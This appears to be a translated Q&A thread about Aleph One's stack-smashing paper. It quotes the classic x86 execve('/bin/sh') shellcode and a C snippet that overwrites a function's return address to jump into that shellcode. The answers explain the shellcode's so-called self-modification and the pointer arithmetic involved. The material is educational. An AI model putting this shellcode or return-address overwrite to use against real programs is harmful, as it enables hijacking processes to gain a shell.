2014-12-13 55 views
0

我讀「砸堆棧的樂趣和利潤」,由阿萊夫一個, 並達成這點:Aleph的shell代碼在哪裏變化?

jmp 0x2a      # 2 bytes 
    popl %esi      # 1 byte 
    movl %esi,0x8(%esi)   # 3 bytes 
    movb $0x0,0x7(%esi)   # 4 bytes 
    movl $0x0,0xc(%esi)   # 7 bytes 
    movl $0xb,%eax    # 5 bytes 
    movl %esi,%ebx    # 2 bytes 
    leal 0x8(%esi),%ecx   # 3 bytes 
    leal 0xc(%esi),%edx   # 3 bytes 
    int $0x80     # 2 bytes 
    movl $0x1, %eax    # 5 bytes 
    movl $0x0, %ebx    # 5 bytes 
    int $0x80     # 2 bytes 
    call -0x2f     # 5 bytes 
    .string \"/bin/sh\"    # 8 bytes 
------------------------------------------------------------------------------ 

Looks good. To make sure it works correctly we must compile it and run it. 
**But there is a problem. Our code modifies itself**, but most operating system 
mark code pages read-only. 

我的問題是在哪裏(以及如何)這段代碼修改自身? [我不知道裝配那麼好]

謝謝!

回答

2

第一條指令在代碼結束時跳轉到call,該代碼返回第二條指令,彈出放置在堆棧上的返回地址call。因此esi指向最後的字符串。正如你所看到的,接下來的3條指令寫入相對於esi的內存,設置參數指針並以0結束字符串和參數列表。這是自我修改所指的。這有點誤導,因爲它不是修改代碼,只是數據。在獨立測試期間,數據是.text部分的一部分,該部分通常是隻讀的,但可以輕鬆寫入。請注意,在實際使用過程中,這將在可寫的堆棧中,但不可執行,因此您會遇到不同的問題。

+0

謝謝,我知道了:-) 甲後續問題: 無效的主要(){INT * RET; RET =(INT *)&RET + 2;(* RET)=(int)的的shellcode;} 想象一下現在代碼段中的shellcode(全局)數組。我想執行它。 在main的最後一行,我們將shellcode的地址複製到了「ret」指針。 **我的問題是:** 它之前的行(主要)在做什麼? 爲什麼「+2」? 我的意思是,我們不應該希望shellcode的地址覆蓋主目錄 的返回地址,它比當前「ret」指針位置前** 8 **個字節。 [\t爲什麼我認爲8字節: \t 4字節[傳遞* int] + 4字節[傳遞幀指針] = 8字節。 ] 謝謝! – SuperCowInSpace 2014-12-13 15:56:49

+0

下次請創建一個單獨的問題。 '+ 2'是由於C指針算法的工作原理所致,它將按項目大小'4'來縮放。因此'+ 2'實際上是'8'的一個字節偏移量。請注意,編譯器可能使用任何堆棧佈局,所以返回地址甚至可能不超過8個字節。 – Jester 2014-12-13 16:21:35